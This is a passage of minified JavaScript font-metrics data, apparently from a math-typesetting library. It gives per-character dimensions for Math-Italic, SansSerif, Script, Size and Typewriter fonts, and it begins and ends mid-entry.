.94722],89:[0,.68611,.25555,0,.67458],90:[0,.68611,.06979,0,.77257],97:[0,.44444,0,0,.63287],98:[0,.69444,0,0,.52083],99:[0,.44444,0,0,.51342],100:[0,.69444,0,0,.60972],101:[0,.44444,0,0,.55361],102:[.19444,.69444,.11042,0,.56806],103:[.19444,.44444,.03704,0,.5449],104:[0,.69444,0,0,.66759],105:[0,.69326,0,0,.4048],106:[.19444,.69326,.0622,0,.47083],107:[0,.69444,.01852,0,.6037],108:[0,.69444,.0088,0,.34815],109:[0,.44444,0,0,1.0324],110:[0,.44444,0,0,.71296],111:[0,.44444,0,0,.58472],112:[.19444,.44444,0,0,.60092],113:[.19444,.44444,.03704,0,.54213],114:[0,.44444,.03194,0,.5287],115:[0,.44444,0,0,.53125],116:[0,.63492,0,0,.41528],117:[0,.44444,0,0,.68102],118:[0,.44444,.03704,0,.56666],119:[0,.44444,.02778,0,.83148],120:[0,.44444,0,0,.65903],121:[.19444,.44444,.03704,0,.59028],122:[0,.44444,.04213,0,.55509],160:[0,0,0,0,.25],915:[0,.68611,.15972,0,.65694],916:[0,.68611,0,0,.95833],920:[0,.68611,.03194,0,.86722],923:[0,.68611,0,0,.80555],926:[0,.68611,.07458,0,.84125],928:[0,.68611,.08229,0,.98229],931:[0,.68611,.05451,0,.88507],933:[0,.68611,.15972,0,.67083],934:[0,.68611,0,0,.76666],936:[0,.68611,.11653,0,.71402],937:[0,.68611,.04835,0,.8789],945:[0,.44444,0,0,.76064],946:[.19444,.69444,.03403,0,.65972],947:[.19444,.44444,.06389,0,.59003],948:[0,.69444,.03819,0,.52222],949:[0,.44444,0,0,.52882],950:[.19444,.69444,.06215,0,.50833],951:[.19444,.44444,.03704,0,.6],952:[0,.69444,.03194,0,.5618],953:[0,.44444,0,0,.41204],954:[0,.44444,0,0,.66759],955:[0,.69444,0,0,.67083],956:[.19444,.44444,0,0,.70787],957:[0,.44444,.06898,0,.57685],958:[.19444,.69444,.03021,0,.50833],959:[0,.44444,0,0,.58472],960:[0,.44444,.03704,0,.68241],961:[.19444,.44444,0,0,.6118],962:[.09722,.44444,.07917,0,.42361],963:[0,.44444,.03704,0,.68588],964:[0,.44444,.13472,0,.52083],965:[0,.44444,.03704,0,.63055],966:[.19444,.44444,0,0,.74722],967:[.19444,.44444,0,0,.71805],968:[.19444,.69444,.03704,0,.75833],969:[0,.44444,.03704,0,.71782],977:[0,.69444,0,0,.69155],981:[.19444,.69444,0,0,.7125],982:[0,.44444,.03194,0,.975],1009:[.19444,.44444,0,0,.6118],1013:[0,.44444,0,0,.48333],57649:[0,.44444,0,0,.39352],57911:[.19444,.44444,0,0,.43889]},"Math-Italic":{32:[0,0,0,0,.25],48:[0,.43056,0,0,.5],49:[0,.43056,0,0,.5],50:[0,.43056,0,0,.5],51:[.19444,.43056,0,0,.5],52:[.19444,.43056,0,0,.5],53:[.19444,.43056,0,0,.5],54:[0,.64444,0,0,.5],55:[.19444,.43056,0,0,.5],56:[0,.64444,0,0,.5],57:[.19444,.43056,0,0,.5],65:[0,.68333,0,.13889,.75],66:[0,.68333,.05017,.08334,.75851],67:[0,.68333,.07153,.08334,.71472],68:[0,.68333,.02778,.05556,.82792],69:[0,.68333,.05764,.08334,.7382],70:[0,.68333,.13889,.08334,.64306],71:[0,.68333,0,.08334,.78625],72:[0,.68333,.08125,.05556,.83125],73:[0,.68333,.07847,.11111,.43958],74:[0,.68333,.09618,.16667,.55451],75:[0,.68333,.07153,.05556,.84931],76:[0,.68333,0,.02778,.68056],77:[0,.68333,.10903,.08334,.97014],78:[0,.68333,.10903,.08334,.80347],79:[0,.68333,.02778,.08334,.76278],80:[0,.68333,.13889,.08334,.64201],81:[.19444,.68333,0,.08334,.79056],82:[0,.68333,.00773,.08334,.75929],83:[0,.68333,.05764,.08334,.6132],84:[0,.68333,.13889,.08334,.58438],85:[0,.68333,.10903,.02778,.68278],86:[0,.68333,.22222,0,.58333],87:[0,.68333,.13889,0,.94445],88:[0,.68333,.07847,.08334,.82847],89:[0,.68333,.22222,0,.58056],90:[0,.68333,.07153,.08334,.68264],97:[0,.43056,0,0,.52859],98:[0,.69444,0,0,.42917],99:[0,.43056,0,.05556,.43276],100:[0,.69444,0,.16667,.52049],101:[0,.43056,0,.05556,.46563],102:[.19444,.69444,.10764,.16667,.48959],103:[.19444,.43056,.03588,.02778,.47697],104:[0,.69444,0,0,.57616],105:[0,.65952,0,0,.34451],106:[.19444,.65952,.05724,0,.41181],107:[0,.69444,.03148,0,.5206],108:[0,.69444,.01968,.08334,.29838],109:[0,.43056,0,0,.87801],110:[0,.43056,0,0,.60023],111:[0,.43056,0,.05556,.48472],112:[.19444,.43056,0,.08334,.50313],113:[.19444,.43056,.03588,.08334,.44641],114:[0,.43056,.02778,.05556,.45116],115:[0,.43056,0,.05556,.46875],116:[0,.61508,0,.08334,.36111],117:[0,.43056,0,.02778,.57246],118:[0,.43056,.03588,.02778,.48472],119:[0,.43056,.02691,.08334,.71592],120:[0,.43056,0,.02778,.57153],121:[.19444,.43056,.03588,.05556,.49028],122:[0,.43056,.04398,.05556,.46505],160:[0,0,0,0,.25],915:[0,.68333,.13889,.08334,.61528],916:[0,.68333,0,.16667,.83334],920:[0,.68333,.02778,.08334,.76278],923:[0,.68333,0,.16667,.69445],926:[0,.68333,.07569,.08334,.74236],928:[0,.68333,.08125,.05556,.83125],931:[0,.68333,.05764,.08334,.77986],933:[0,.68333,.13889,.05556,.58333],934:[0,.68333,0,.08334,.66667],936:[0,.68333,.11,.05556,.61222],937:[0,.68333,.05017,.08334,.7724],945:[0,.43056,.0037,.02778,.6397],946:[.19444,.69444,.05278,.08334,.56563],947:[.19444,.43056,.05556,0,.51773],948:[0,.69444,.03785,.05556,.44444],949:[0,.43056,0,.08334,.46632],950:[.19444,.69444,.07378,.08334,.4375],951:[.19444,.43056,.03588,.05556,.49653],952:[0,.69444,.02778,.08334,.46944],953:[0,.43056,0,.05556,.35394],954:[0,.43056,0,0,.57616],955:[0,.69444,0,0,.58334],956:[.19444,.43056,0,.02778,.60255],957:[0,.43056,.06366,.02778,.49398],958:[.19444,.69444,.04601,.11111,.4375],959:[0,.43056,0,.05556,.48472],960:[0,.43056,.03588,0,.57003],961:[.19444,.43056,0,.08334,.51702],962:[.09722,.43056,.07986,.08334,.36285],963:[0,.43056,.03588,0,.57141],964:[0,.43056,.1132,.02778,.43715],965:[0,.43056,.03588,.02778,.54028],966:[.19444,.43056,0,.08334,.65417],967:[.19444,.43056,0,.05556,.62569],968:[.19444,.69444,.03588,.11111,.65139],969:[0,.43056,.03588,0,.62245],977:[0,.69444,0,.08334,.59144],981:[.19444,.69444,0,.08334,.59583],982:[0,.43056,.02778,0,.82813],1009:[.19444,.43056,0,.08334,.51702],1013:[0,.43056,0,.05556,.4059],57649:[0,.43056,0,.02778,.32246],57911:[.19444,.43056,0,.08334,.38403]},"SansSerif-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.36667],34:[0,.69444,0,0,.55834],35:[.19444,.69444,0,0,.91667],36:[.05556,.75,0,0,.55],37:[.05556,.75,0,0,1.02912],38:[0,.69444,0,0,.83056],39:[0,.69444,0,0,.30556],40:[.25,.75,0,0,.42778],41:[.25,.75,0,0,.42778],42:[0,.75,0,0,.55],43:[.11667,.61667,0,0,.85556],44:[.10556,.13056,0,0,.30556],45:[0,.45833,0,0,.36667],46:[0,.13056,0,0,.30556],47:[.25,.75,0,0,.55],48:[0,.69444,0,0,.55],49:[0,.69444,0,0,.55],50:[0,.69444,0,0,.55],51:[0,.69444,0,0,.55],52:[0,.69444,0,0,.55],53:[0,.69444,0,0,.55],54:[0,.69444,0,0,.55],55:[0,.69444,0,0,.55],56:[0,.69444,0,0,.55],57:[0,.69444,0,0,.55],58:[0,.45833,0,0,.30556],59:[.10556,.45833,0,0,.30556],61:[-.09375,.40625,0,0,.85556],63:[0,.69444,0,0,.51945],64:[0,.69444,0,0,.73334],65:[0,.69444,0,0,.73334],66:[0,.69444,0,0,.73334],67:[0,.69444,0,0,.70278],68:[0,.69444,0,0,.79445],69:[0,.69444,0,0,.64167],70:[0,.69444,0,0,.61111],71:[0,.69444,0,0,.73334],72:[0,.69444,0,0,.79445],73:[0,.69444,0,0,.33056],74:[0,.69444,0,0,.51945],75:[0,.69444,0,0,.76389],76:[0,.69444,0,0,.58056],77:[0,.69444,0,0,.97778],78:[0,.69444,0,0,.79445],79:[0,.69444,0,0,.79445],80:[0,.69444,0,0,.70278],81:[.10556,.69444,0,0,.79445],82:[0,.69444,0,0,.70278],83:[0,.69444,0,0,.61111],84:[0,.69444,0,0,.73334],85:[0,.69444,0,0,.76389],86:[0,.69444,.01528,0,.73334],87:[0,.69444,.01528,0,1.03889],88:[0,.69444,0,0,.73334],89:[0,.69444,.0275,0,.73334],90:[0,.69444,0,0,.67223],91:[.25,.75,0,0,.34306],93:[.25,.75,0,0,.34306],94:[0,.69444,0,0,.55],95:[.35,.10833,.03056,0,.55],97:[0,.45833,0,0,.525],98:[0,.69444,0,0,.56111],99:[0,.45833,0,0,.48889],100:[0,.69444,0,0,.56111],101:[0,.45833,0,0,.51111],102:[0,.69444,.07639,0,.33611],103:[.19444,.45833,.01528,0,.55],104:[0,.69444,0,0,.56111],105:[0,.69444,0,0,.25556],106:[.19444,.69444,0,0,.28611],107:[0,.69444,0,0,.53056],108:[0,.69444,0,0,.25556],109:[0,.45833,0,0,.86667],110:[0,.45833,0,0,.56111],111:[0,.45833,0,0,.55],112:[.19444,.45833,0,0,.56111],113:[.19444,.45833,0,0,.56111],114:[0,.45833,.01528,0,.37222],115:[0,.45833,0,0,.42167],116:[0,.58929,0,0,.40417],117:[0,.45833,0,0,.56111],118:[0,.45833,.01528,0,.5],119:[0,.45833,.01528,0,.74445],120:[0,.45833,0,0,.5],121:[.19444,.45833,.01528,0,.5],122:[0,.45833,0,0,.47639],126:[.35,.34444,0,0,.55],160:[0,0,0,0,.25],168:[0,.69444,0,0,.55],176:[0,.69444,0,0,.73334],180:[0,.69444,0,0,.55],184:[.17014,0,0,0,.48889],305:[0,.45833,0,0,.25556],567:[.19444,.45833,0,0,.28611],710:[0,.69444,0,0,.55],711:[0,.63542,0,0,.55],713:[0,.63778,0,0,.55],728:[0,.69444,0,0,.55],729:[0,.69444,0,0,.30556],730:[0,.69444,0,0,.73334],732:[0,.69444,0,0,.55],733:[0,.69444,0,0,.55],915:[0,.69444,0,0,.58056],916:[0,.69444,0,0,.91667],920:[0,.69444,0,0,.85556],923:[0,.69444,0,0,.67223],926:[0,.69444,0,0,.73334],928:[0,.69444,0,0,.79445],931:[0,.69444,0,0,.79445],933:[0,.69444,0,0,.85556],934:[0,.69444,0,0,.79445],936:[0,.69444,0,0,.85556],937:[0,.69444,0,0,.79445],8211:[0,.45833,.03056,0,.55],8212:[0,.45833,.03056,0,1.10001],8216:[0,.69444,0,0,.30556],8217:[0,.69444,0,0,.30556],8220:[0,.69444,0,0,.55834],8221:[0,.69444,0,0,.55834]},"SansSerif-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.05733,0,.31945],34:[0,.69444,.00316,0,.5],35:[.19444,.69444,.05087,0,.83334],36:[.05556,.75,.11156,0,.5],37:[.05556,.75,.03126,0,.83334],38:[0,.69444,.03058,0,.75834],39:[0,.69444,.07816,0,.27778],40:[.25,.75,.13164,0,.38889],41:[.25,.75,.02536,0,.38889],42:[0,.75,.11775,0,.5],43:[.08333,.58333,.02536,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,.01946,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,.13164,0,.5],48:[0,.65556,.11156,0,.5],49:[0,.65556,.11156,0,.5],50:[0,.65556,.11156,0,.5],51:[0,.65556,.11156,0,.5],52:[0,.65556,.11156,0,.5],53:[0,.65556,.11156,0,.5],54:[0,.65556,.11156,0,.5],55:[0,.65556,.11156,0,.5],56:[0,.65556,.11156,0,.5],57:[0,.65556,.11156,0,.5],58:[0,.44444,.02502,0,.27778],59:[.125,.44444,.02502,0,.27778],61:[-.13,.37,.05087,0,.77778],63:[0,.69444,.11809,0,.47222],64:[0,.69444,.07555,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,.08293,0,.66667],67:[0,.69444,.11983,0,.63889],68:[0,.69444,.07555,0,.72223],69:[0,.69444,.11983,0,.59722],70:[0,.69444,.13372,0,.56945],71:[0,.69444,.11983,0,.66667],72:[0,.69444,.08094,0,.70834],73:[0,.69444,.13372,0,.27778],74:[0,.69444,.08094,0,.47222],75:[0,.69444,.11983,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,.08094,0,.875],78:[0,.69444,.08094,0,.70834],79:[0,.69444,.07555,0,.73611],80:[0,.69444,.08293,0,.63889],81:[.125,.69444,.07555,0,.73611],82:[0,.69444,.08293,0,.64584],83:[0,.69444,.09205,0,.55556],84:[0,.69444,.13372,0,.68056],85:[0,.69444,.08094,0,.6875],86:[0,.69444,.1615,0,.66667],87:[0,.69444,.1615,0,.94445],88:[0,.69444,.13372,0,.66667],89:[0,.69444,.17261,0,.66667],90:[0,.69444,.11983,0,.61111],91:[.25,.75,.15942,0,.28889],93:[.25,.75,.08719,0,.28889],94:[0,.69444,.0799,0,.5],95:[.35,.09444,.08616,0,.5],97:[0,.44444,.00981,0,.48056],98:[0,.69444,.03057,0,.51667],99:[0,.44444,.08336,0,.44445],100:[0,.69444,.09483,0,.51667],101:[0,.44444,.06778,0,.44445],102:[0,.69444,.21705,0,.30556],103:[.19444,.44444,.10836,0,.5],104:[0,.69444,.01778,0,.51667],105:[0,.67937,.09718,0,.23889],106:[.19444,.67937,.09162,0,.26667],107:[0,.69444,.08336,0,.48889],108:[0,.69444,.09483,0,.23889],109:[0,.44444,.01778,0,.79445],110:[0,.44444,.01778,0,.51667],111:[0,.44444,.06613,0,.5],112:[.19444,.44444,.0389,0,.51667],113:[.19444,.44444,.04169,0,.51667],114:[0,.44444,.10836,0,.34167],115:[0,.44444,.0778,0,.38333],116:[0,.57143,.07225,0,.36111],117:[0,.44444,.04169,0,.51667],118:[0,.44444,.10836,0,.46111],119:[0,.44444,.10836,0,.68334],120:[0,.44444,.09169,0,.46111],121:[.19444,.44444,.10836,0,.46111],122:[0,.44444,.08752,0,.43472],126:[.35,.32659,.08826,0,.5],160:[0,0,0,0,.25],168:[0,.67937,.06385,0,.5],176:[0,.69444,0,0,.73752],184:[.17014,0,0,0,.44445],305:[0,.44444,.04169,0,.23889],567:[.19444,.44444,.04169,0,.26667],710:[0,.69444,.0799,0,.5],711:[0,.63194,.08432,0,.5],713:[0,.60889,.08776,0,.5],714:[0,.69444,.09205,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,.09483,0,.5],729:[0,.67937,.07774,0,.27778],730:[0,.69444,0,0,.73752],732:[0,.67659,.08826,0,.5],733:[0,.69444,.09205,0,.5],915:[0,.69444,.13372,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,.07555,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,.12816,0,.66667],928:[0,.69444,.08094,0,.70834],931:[0,.69444,.11983,0,.72222],933:[0,.69444,.09031,0,.77778],934:[0,.69444,.04603,0,.72222],936:[0,.69444,.09031,0,.77778],937:[0,.69444,.08293,0,.72222],8211:[0,.44444,.08616,0,.5],8212:[0,.44444,.08616,0,1],8216:[0,.69444,.07816,0,.27778],8217:[0,.69444,.07816,0,.27778],8220:[0,.69444,.14205,0,.5],8221:[0,.69444,.00316,0,.5]},"SansSerif-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.31945],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.75834],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,0,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.65556,0,0,.5],49:[0,.65556,0,0,.5],50:[0,.65556,0,0,.5],51:[0,.65556,0,0,.5],52:[0,.65556,0,0,.5],53:[0,.65556,0,0,.5],54:[0,.65556,0,0,.5],55:[0,.65556,0,0,.5],56:[0,.65556,0,0,.5],57:[0,.65556,0,0,.5],58:[0,.44444,0,0,.27778],59:[.125,.44444,0,0,.27778],61:[-.13,.37,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,0,0,.66667],67:[0,.69444,0,0,.63889],68:[0,.69444,0,0,.72223],69:[0,.69444,0,0,.59722],70:[0,.69444,0,0,.56945],71:[0,.69444,0,0,.66667],72:[0,.69444,0,0,.70834],73:[0,.69444,0,0,.27778],74:[0,.69444,0,0,.47222],75:[0,.69444,0,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,0,0,.875],78:[0,.69444,0,0,.70834],79:[0,.69444,0,0,.73611],80:[0,.69444,0,0,.63889],81:[.125,.69444,0,0,.73611],82:[0,.69444,0,0,.64584],83:[0,.69444,0,0,.55556],84:[0,.69444,0,0,.68056],85:[0,.69444,0,0,.6875],86:[0,.69444,.01389,0,.66667],87:[0,.69444,.01389,0,.94445],88:[0,.69444,0,0,.66667],89:[0,.69444,.025,0,.66667],90:[0,.69444,0,0,.61111],91:[.25,.75,0,0,.28889],93:[.25,.75,0,0,.28889],94:[0,.69444,0,0,.5],95:[.35,.09444,.02778,0,.5],97:[0,.44444,0,0,.48056],98:[0,.69444,0,0,.51667],99:[0,.44444,0,0,.44445],100:[0,.69444,0,0,.51667],101:[0,.44444,0,0,.44445],102:[0,.69444,.06944,0,.30556],103:[.19444,.44444,.01389,0,.5],104:[0,.69444,0,0,.51667],105:[0,.67937,0,0,.23889],106:[.19444,.67937,0,0,.26667],107:[0,.69444,0,0,.48889],108:[0,.69444,0,0,.23889],109:[0,.44444,0,0,.79445],110:[0,.44444,0,0,.51667],111:[0,.44444,0,0,.5],112:[.19444,.44444,0,0,.51667],113:[.19444,.44444,0,0,.51667],114:[0,.44444,.01389,0,.34167],115:[0,.44444,0,0,.38333],116:[0,.57143,0,0,.36111],117:[0,.44444,0,0,.51667],118:[0,.44444,.01389,0,.46111],119:[0,.44444,.01389,0,.68334],120:[0,.44444,0,0,.46111],121:[.19444,.44444,.01389,0,.46111],122:[0,.44444,0,0,.43472],126:[.35,.32659,0,0,.5],160:[0,0,0,0,.25],168:[0,.67937,0,0,.5],176:[0,.69444,0,0,.66667],184:[.17014,0,0,0,.44445],305:[0,.44444,0,0,.23889],567:[.19444,.44444,0,0,.26667],710:[0,.69444,0,0,.5],711:[0,.63194,0,0,.5],713:[0,.60889,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.67937,0,0,.27778],730:[0,.69444,0,0,.66667],732:[0,.67659,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.69444,0,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,0,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,0,0,.66667],928:[0,.69444,0,0,.70834],931:[0,.69444,0,0,.72222],933:[0,.69444,0,0,.77778],934:[0,.69444,0,0,.72222],936:[0,.69444,0,0,.77778],937:[0,.69444,0,0,.72222],8211:[0,.44444,.02778,0,.5],8212:[0,.44444,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5]},"Script-Regular":{32:[0,0,0,0,.25],65:[0,.7,.22925,0,.80253],66:[0,.7,.04087,0,.90757],67:[0,.7,.1689,0,.66619],68:[0,.7,.09371,0,.77443],69:[0,.7,.18583,0,.56162],70:[0,.7,.13634,0,.89544],71:[0,.7,.17322,0,.60961],72:[0,.7,.29694,0,.96919],73:[0,.7,.19189,0,.80907],74:[.27778,.7,.19189,0,1.05159],75:[0,.7,.31259,0,.91364],76:[0,.7,.19189,0,.87373],77:[0,.7,.15981,0,1.08031],78:[0,.7,.3525,0,.9015],79:[0,.7,.08078,0,.73787],80:[0,.7,.08078,0,1.01262],81:[0,.7,.03305,0,.88282],82:[0,.7,.06259,0,.85],83:[0,.7,.19189,0,.86767],84:[0,.7,.29087,0,.74697],85:[0,.7,.25815,0,.79996],86:[0,.7,.27523,0,.62204],87:[0,.7,.27523,0,.80532],88:[0,.7,.26006,0,.94445],89:[0,.7,.2939,0,.70961],90:[0,.7,.24037,0,.8212],160:[0,0,0,0,.25]},"Size1-Regular":{32:[0,0,0,0,.25],40:[.35001,.85,0,0,.45834],41:[.35001,.85,0,0,.45834],47:[.35001,.85,0,0,.57778],91:[.35001,.85,0,0,.41667],92:[.35001,.85,0,0,.57778],93:[.35001,.85,0,0,.41667],123:[.35001,.85,0,0,.58334],125:[.35001,.85,0,0,.58334],160:[0,0,0,0,.25],710:[0,.72222,0,0,.55556],732:[0,.72222,0,0,.55556],770:[0,.72222,0,0,.55556],771:[0,.72222,0,0,.55556],8214:[-99e-5,.601,0,0,.77778],8593:[1e-5,.6,0,0,.66667],8595:[1e-5,.6,0,0,.66667],8657:[1e-5,.6,0,0,.77778],8659:[1e-5,.6,0,0,.77778],8719:[.25001,.75,0,0,.94445],8720:[.25001,.75,0,0,.94445],8721:[.25001,.75,0,0,1.05556],8730:[.35001,.85,0,0,1],8739:[-.00599,.606,0,0,.33333],8741:[-.00599,.606,0,0,.55556],8747:[.30612,.805,.19445,0,.47222],8748:[.306,.805,.19445,0,.47222],8749:[.306,.805,.19445,0,.47222],8750:[.30612,.805,.19445,0,.47222],8896:[.25001,.75,0,0,.83334],8897:[.25001,.75,0,0,.83334],8898:[.25001,.75,0,0,.83334],8899:[.25001,.75,0,0,.83334],8968:[.35001,.85,0,0,.47222],8969:[.35001,.85,0,0,.47222],8970:[.35001,.85,0,0,.47222],8971:[.35001,.85,0,0,.47222],9168:[-99e-5,.601,0,0,.66667],10216:[.35001,.85,0,0,.47222],10217:[.35001,.85,0,0,.47222],10752:[.25001,.75,0,0,1.11111],10753:[.25001,.75,0,0,1.11111],10754:[.25001,.75,0,0,1.11111],10756:[.25001,.75,0,0,.83334],10758:[.25001,.75,0,0,.83334]},"Size2-Regular":{32:[0,0,0,0,.25],40:[.65002,1.15,0,0,.59722],41:[.65002,1.15,0,0,.59722],47:[.65002,1.15,0,0,.81111],91:[.65002,1.15,0,0,.47222],92:[.65002,1.15,0,0,.81111],93:[.65002,1.15,0,0,.47222],123:[.65002,1.15,0,0,.66667],125:[.65002,1.15,0,0,.66667],160:[0,0,0,0,.25],710:[0,.75,0,0,1],732:[0,.75,0,0,1],770:[0,.75,0,0,1],771:[0,.75,0,0,1],8719:[.55001,1.05,0,0,1.27778],8720:[.55001,1.05,0,0,1.27778],8721:[.55001,1.05,0,0,1.44445],8730:[.65002,1.15,0,0,1],8747:[.86225,1.36,.44445,0,.55556],8748:[.862,1.36,.44445,0,.55556],8749:[.862,1.36,.44445,0,.55556],8750:[.86225,1.36,.44445,0,.55556],8896:[.55001,1.05,0,0,1.11111],8897:[.55001,1.05,0,0,1.11111],8898:[.55001,1.05,0,0,1.11111],8899:[.55001,1.05,0,0,1.11111],8968:[.65002,1.15,0,0,.52778],8969:[.65002,1.15,0,0,.52778],8970:[.65002,1.15,0,0,.52778],8971:[.65002,1.15,0,0,.52778],10216:[.65002,1.15,0,0,.61111],10217:[.65002,1.15,0,0,.61111],10752:[.55001,1.05,0,0,1.51112],10753:[.55001,1.05,0,0,1.51112],10754:[.55001,1.05,0,0,1.51112],10756:[.55001,1.05,0,0,1.11111],10758:[.55001,1.05,0,0,1.11111]},"Size3-Regular":{32:[0,0,0,0,.25],40:[.95003,1.45,0,0,.73611],41:[.95003,1.45,0,0,.73611],47:[.95003,1.45,0,0,1.04445],91:[.95003,1.45,0,0,.52778],92:[.95003,1.45,0,0,1.04445],93:[.95003,1.45,0,0,.52778],123:[.95003,1.45,0,0,.75],125:[.95003,1.45,0,0,.75],160:[0,0,0,0,.25],710:[0,.75,0,0,1.44445],732:[0,.75,0,0,1.44445],770:[0,.75,0,0,1.44445],771:[0,.75,0,0,1.44445],8730:[.95003,1.45,0,0,1],8968:[.95003,1.45,0,0,.58334],8969:[.95003,1.45,0,0,.58334],8970:[.95003,1.45,0,0,.58334],8971:[.95003,1.45,0,0,.58334],10216:[.95003,1.45,0,0,.75],10217:[.95003,1.45,0,0,.75]},"Size4-Regular":{32:[0,0,0,0,.25],40:[1.25003,1.75,0,0,.79167],41:[1.25003,1.75,0,0,.79167],47:[1.25003,1.75,0,0,1.27778],91:[1.25003,1.75,0,0,.58334],92:[1.25003,1.75,0,0,1.27778],93:[1.25003,1.75,0,0,.58334],123:[1.25003,1.75,0,0,.80556],125:[1.25003,1.75,0,0,.80556],160:[0,0,0,0,.25],710:[0,.825,0,0,1.8889],732:[0,.825,0,0,1.8889],770:[0,.825,0,0,1.8889],771:[0,.825,0,0,1.8889],8730:[1.25003,1.75,0,0,1],8968:[1.25003,1.75,0,0,.63889],8969:[1.25003,1.75,0,0,.63889],8970:[1.25003,1.75,0,0,.63889],8971:[1.25003,1.75,0,0,.63889],9115:[.64502,1.155,0,0,.875],9116:[1e-5,.6,0,0,.875],9117:[.64502,1.155,0,0,.875],9118:[.64502,1.155,0,0,.875],9119:[1e-5,.6,0,0,.875],9120:[.64502,1.155,0,0,.875],9121:[.64502,1.155,0,0,.66667],9122:[-99e-5,.601,0,0,.66667],9123:[.64502,1.155,0,0,.66667],9124:[.64502,1.155,0,0,.66667],9125:[-99e-5,.601,0,0,.66667],9126:[.64502,1.155,0,0,.66667],9127:[1e-5,.9,0,0,.88889],9128:[.65002,1.15,0,0,.88889],9129:[.90001,0,0,0,.88889],9130:[0,.3,0,0,.88889],9131:[1e-5,.9,0,0,.88889],9132:[.65002,1.15,0,0,.88889],9133:[.90001,0,0,0,.88889],9143:[.88502,.915,0,0,1.05556],10216:[1.25003,1.75,0,0,.80556],10217:[1.25003,1.75,0,0,.80556],57344:[-.00499,.605,0,0,1.05556],57345:[-.00499,.605,0,0,1.05556],57680:[0,.12,0,0,.45],57681:[0,.12,0,0,.45],57682:[0,.12,0,0,.45],57683:[0,.12,0,0,.45]},"Typewriter-Regular":{32:[0,0,0,0,.525],33:[0,.61111,0,0,.525],34:[0,.61111,0,0,.525],35:[0,.61111,0,0,.525],36:[.08333,.69444,0,0,.525],37:[.08333,.69444,0,0,.525],38:[0,.61111,0,0,.525],39:[0,.61111,0,0,.525],40:[.08333,.69444,0,0,.525],41:[.08333,.69444,0,0,.525],42:[0,.52083,0,0,.525],43:[-.08056,.53055,0,0,.525],44:[.13889,.125,0,0,.525],45:[-.08056,.53055,0,0,.525],46:[0,.125,0,0,.525],47:[.08333,.69444,0,0,.525],48:[0,.61111,0,0,.525],49:[0,.61111,0,0,.525],50:[0,.61111,0,0,.525],51:[0,.61111,0,0,.525],52:[0,.61111,0,0,.525],53:[0,.61111,0,0,.525],54:[0,.61111,0,0,.525],55:[0,.61111,0,0,.525],56:[0,.61111,0,0,.525],57:[0,.61111,0,0,.525],58:[0,.43056,0,0,.525],59:[.13889,.43056,0,0,.525],60:[-.05556,.55556,0,0,.525],61:[-.19549,.41562,0,0,.525],62:[-.05556,.55556,0,0,.525],63:[0,.61111,0,0,.525],64:[0,.61111,0,0,.525],65:[0,.61111,0,0,.525],66:[0,.61111,0,0,.525],67:[0,.61111,0,0,.525],68:[0,.61111,0,0,.525],69:[0,.61111,0,0,.525],70:[0,.61111,0,0,.525],71:[0,.61111,0,0,.525],72:[0,.61111,0,0,.525],73:[0,.61111,0,0,.525],74:[0,.61111,0,0,.525],75:[0,.61111,0,0,.525],76:[0,.61111,0,0,.525],77:[0,.61111,0,0,.525],78:[0,.61111,0,0,.525],79:[0,.61111,0,0,.525],80:[0,.61111,0,0,.525],81:[.13889,.61111,0,0,.525],82:[0,.61111,0,0,.525],83:[0,.61111,0,0,.525],84:[0,.61111,0,0,.525],85:[0,.61111,0,0,.525],86:[0,.61111,0,0,.525],87:[0,.61111,0,0,.525],88:[0,.61111,0,0,.525],89:[0,.61111,0,0,.525],90:[0,.61111,0,0,.525],91:[.08333,.69444,0,0,.525],92:[.08333,.69444,0,0,.525],93:[.08333,.69444,0,0,.525],94:[0,.61111,0,0,.525],95:[.09514,0,0,0,.525],96:[0,.61111,0,0,.525],97:[0,.43056,0,0,.525],98:[0,.61111,0,0,.525],99:[0,.43056,0,0,.525],100:[0,.61111,0,0,.525],101:[0,.43056,0,0,.525],102:[0,.61111,0,0,.525],103:[.22222,.43056,0,0,.525],104:[0,.61111,0,0,.525],105:[0,.61111,0,0,.525],106:[.22222,.61111,0,0,.525],107:[0,.61111,0,0,.525],108:[0,.61111,0,0,.525],109:[0,.43056,0,0,.525],110:[0,.43056,0,0,.525],111:[0,.43056,0,0,.525],112:[.22222,.43056,0,0,.525],113:[.22222,.43056,0,0,.525],114:[0,.43056,0,0,.525],115:[0,.43056,0,0,.525],116:[0,.55358,0,0,.525],117:[0,.43056,0,0,.525],118:[0,.43056,0,0,.525],119:[0,.43056,0,0,.525],120:[0,.43056,0,0,.525],121:[.22222,.43056,0,0,.525],122:[0,.43056,0,0,.525],123:[.08333,.69444,0,0,.525],124:[.08333,.69444,0,0,.525],125:[.08333,.69444,0,0,.525],126:[0,.61111,0,0,.525],127:[0,.61111,0,0,.525],160:[0,0,0,0,.525],176:[0,.61111,0,0,.525],184:[.19445,0,0,0,.525],305:[0,.43056,0,0,.525],567:[.22222,.43056,0,0,.525],711:[0,.56597,0,0